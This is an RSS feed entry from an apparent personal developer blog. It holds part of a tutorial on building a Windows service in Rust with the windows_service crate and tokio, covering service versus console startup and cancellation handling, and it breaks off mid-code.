<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>David Hamann</title><link>https://davidhamann.de/</link><description>Recent content on David Hamann</description><generator>Hugo</generator><language>en</language><copyright>&amp;copy; David Hamann</copyright><lastBuildDate>Sat, 28 Feb 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://davidhamann.de/feed.xml" rel="self" type="application/rss+xml"/><item><title>Writing a Windows Service in Rust</title><link>https://davidhamann.de/2026/02/28/writing-a-windows-service-in-rust/</link><pubDate>Sat, 28 Feb 2026 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2026/02/28/writing-a-windows-service-in-rust/</guid><description>&lt;p&gt;I&amp;rsquo;m currently writing a cross-platform server application in Rust which should also be able to run as a service on Windows.&lt;/p&gt;
&lt;p&gt;While this sounds like a relatively straight-forward thing to do, it was a bit more involved than I originally thought (especially compared to running unix services).&lt;/p&gt;
&lt;p&gt;Below you&amp;rsquo;ll find my notes and a well-documented code sample for running a small echo server for demonstration purposes as a Windows service. I&amp;rsquo;m going to cover service initialization, responding to control commands (like STOP) and also handling shutdowns in a tokio runtime setting where the individual tasks need to be cancelled. The sample application can also be run in console mode and the Windows service parts are conditionally compiled – so you can run/compile it on Unix systems for console mode use as well.&lt;/p&gt;
&lt;p&gt;I decided to use the &lt;a href="https://docs.rs/windows-service/latest/windows_service/index.html"&gt;windows_service&lt;/a&gt; crate which abstracts the Windows API calls away and gives you an easy interface to work with.&lt;/p&gt;
&lt;p&gt;The service can be installed with: &lt;code&gt;sc.exe create sample-service binPath= &amp;quot;C:\path\to\target\app.exe --service&amp;quot;&lt;/code&gt; (&lt;code&gt;sample-service&lt;/code&gt; can also be any other name, but it&amp;rsquo;s important to refer to the same name in the code as well. &lt;code&gt;--service&lt;/code&gt; is just an argument for this sample code.)&lt;/p&gt;
&lt;p&gt;You can find the &lt;a href="https://github.com/davidhamann/windows-service-experiment"&gt;complete code here on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="main-service-vs-console-mode"&gt;main(): Service vs. console mode&lt;/h2&gt;
&lt;p&gt;The application we are going to build should be able to be started as a Windows service but also retain the option to run in console mode. Since the service mode is only available on Windows, certain blocks have to be marked for conditional compilation with the &lt;code&gt;cfg&lt;/code&gt; attribute.&lt;/p&gt;
&lt;p&gt;We want to use the &lt;a href="https://tokio.rs"&gt;tokio&lt;/a&gt; asynchronous runtime but have the two mentioned startup cases – service and console mode. This means we can&amp;rsquo;t rely on tokio&amp;rsquo;s &lt;a href="https://docs.rs/tokio/latest/tokio/attr.main.html"&gt;main macro attribute&lt;/a&gt; to set things up for us. In the service case, our runtime needs to be set up in a separate thread as the main one will block after calling the Windows service control dispatcher. So we will build the runtime in our &lt;code&gt;main&lt;/code&gt; function only in the non-service branch.&lt;/p&gt;
&lt;p&gt;Finally, to be able to stop our application and its multiple connection handling tasks – in both service and console mode –, we have to create a &lt;a href="https://docs.rs/tokio-util/latest/tokio_util/sync/struct.CancellationToken.html"&gt;&lt;code&gt;CancellationToken&lt;/code&gt;&lt;/a&gt; and pass it to our app&amp;rsquo;s individual tasks to receive a signal for a cancellation request (such as a STOP request from the service control manager, SCM, or ctrl-C in console mode) – more on that later in the post.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;run_app&lt;/code&gt; will be our actual application start.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s our &lt;code&gt;main&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;env&lt;/span&gt;::&lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;any&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;--service&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;#[cfg(windows)]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// service mode (Windows)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;win_service&lt;/span&gt;::&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// note that this error is only visible if you accidentally
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// run --service in non-service mode. It might make sense
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// to log to the Windows Event Log here.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;#[cfg(not(windows))]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;--service flag is only supported on Windows&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;process&lt;/span&gt;::&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// normal console mode (manually started on Windows/Linux/macOS)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;runtime&lt;/span&gt;::&lt;span class="n"&gt;Runtime&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Error setting up tokio Runtime: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CancellationToken&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token_clone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clone&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rt&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;block_on&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;move&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;signal&lt;/span&gt;::&lt;span class="n"&gt;ctrl_c&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Got Ctrl-C, shutting down...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cancel&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;run_app&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token_clone&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Got error: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="defining-entry-point-and-starting-service-control-dispatcher"&gt;Defining entry point and starting service control dispatcher&lt;/h2&gt;
&lt;p&gt;As can be seen in &lt;code&gt;main&lt;/code&gt;, the service mode will call &lt;code&gt;start()&lt;/code&gt; from our &lt;code&gt;win_service&lt;/code&gt; module.&lt;/p&gt;
&lt;p&gt;In it, we call &lt;code&gt;service_dispatcher::start&lt;/code&gt; from the &lt;code&gt;windows_service&lt;/code&gt; crate, which is a wrapper around the Win32 &lt;a href="https://learn.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-startservicectrldispatcherw"&gt;&lt;code&gt;StartServiceCtrlDispatcher&lt;/code&gt;&lt;/a&gt; function.&lt;/p&gt;
&lt;p&gt;When running an application as a service, the executable is supposed to call this function right in the beginning, and pass the service name and a pointer to the application&amp;rsquo;s entry point function. In the below code, this function is called &lt;code&gt;ffi_service_main&lt;/code&gt; and is being generated by the &lt;code&gt;define_windows_service!&lt;/code&gt; macro (the Windows API requires an entry point with the signature &lt;code&gt;extern &amp;quot;system&amp;quot; fn(u32, *mut *mut u16)&lt;/code&gt;, &amp;ldquo;system&amp;rdquo; being the standard calling convention on the Windows system).&lt;/p&gt;
&lt;p&gt;&lt;code&gt;service_dispatcher::start&lt;/code&gt; will block until we&amp;rsquo;re done or the application stops for another reason, and &lt;code&gt;ffi_service_main&lt;/code&gt; will be called in a new thread to be able to start the initialization process.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;mod&lt;/span&gt; &lt;span class="nn"&gt;win_service&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;SERVICE_NAME&lt;/span&gt;: &lt;span class="kp"&gt;&amp;amp;&lt;/span&gt;&lt;span class="kt"&gt;str&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;sample-service&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// important to match the service name!
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;define_windows_service!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ffi_service_main&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;app_service_main&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;windows_service&lt;/span&gt;::&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_dispatcher&lt;/span&gt;::&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="no"&gt;SERVICE_NAME&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ffi_service_main&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The &lt;code&gt;windows_service&lt;/code&gt; crate abstracts the Windows API from us and we can build our actual service initialization logic in the function named &lt;code&gt;app_service_main&lt;/code&gt; in the code below. This must just be a function which takes &lt;code&gt;Vec&amp;lt;OsString&amp;gt;&lt;/code&gt; and will be called by &lt;code&gt;ffi_service_main&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Depending on your service, you can ignore the arguments as these are just the service start parameters, not the arguments to your app (i.e. &lt;code&gt;sc.exe start &amp;lt;service name&amp;gt; arg1 arg2&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;Our &lt;code&gt;app_service_main&lt;/code&gt; can then wrap a &lt;code&gt;run_service&lt;/code&gt; function and potentially log errors to the windows event log or a file. Once &lt;code&gt;app_service_main&lt;/code&gt; returns, the dispatcher (&lt;code&gt;service_dispatcher::start&lt;/code&gt;) eventually unblocks.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;app_service_main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_arguments&lt;/span&gt;: &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;OsString&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
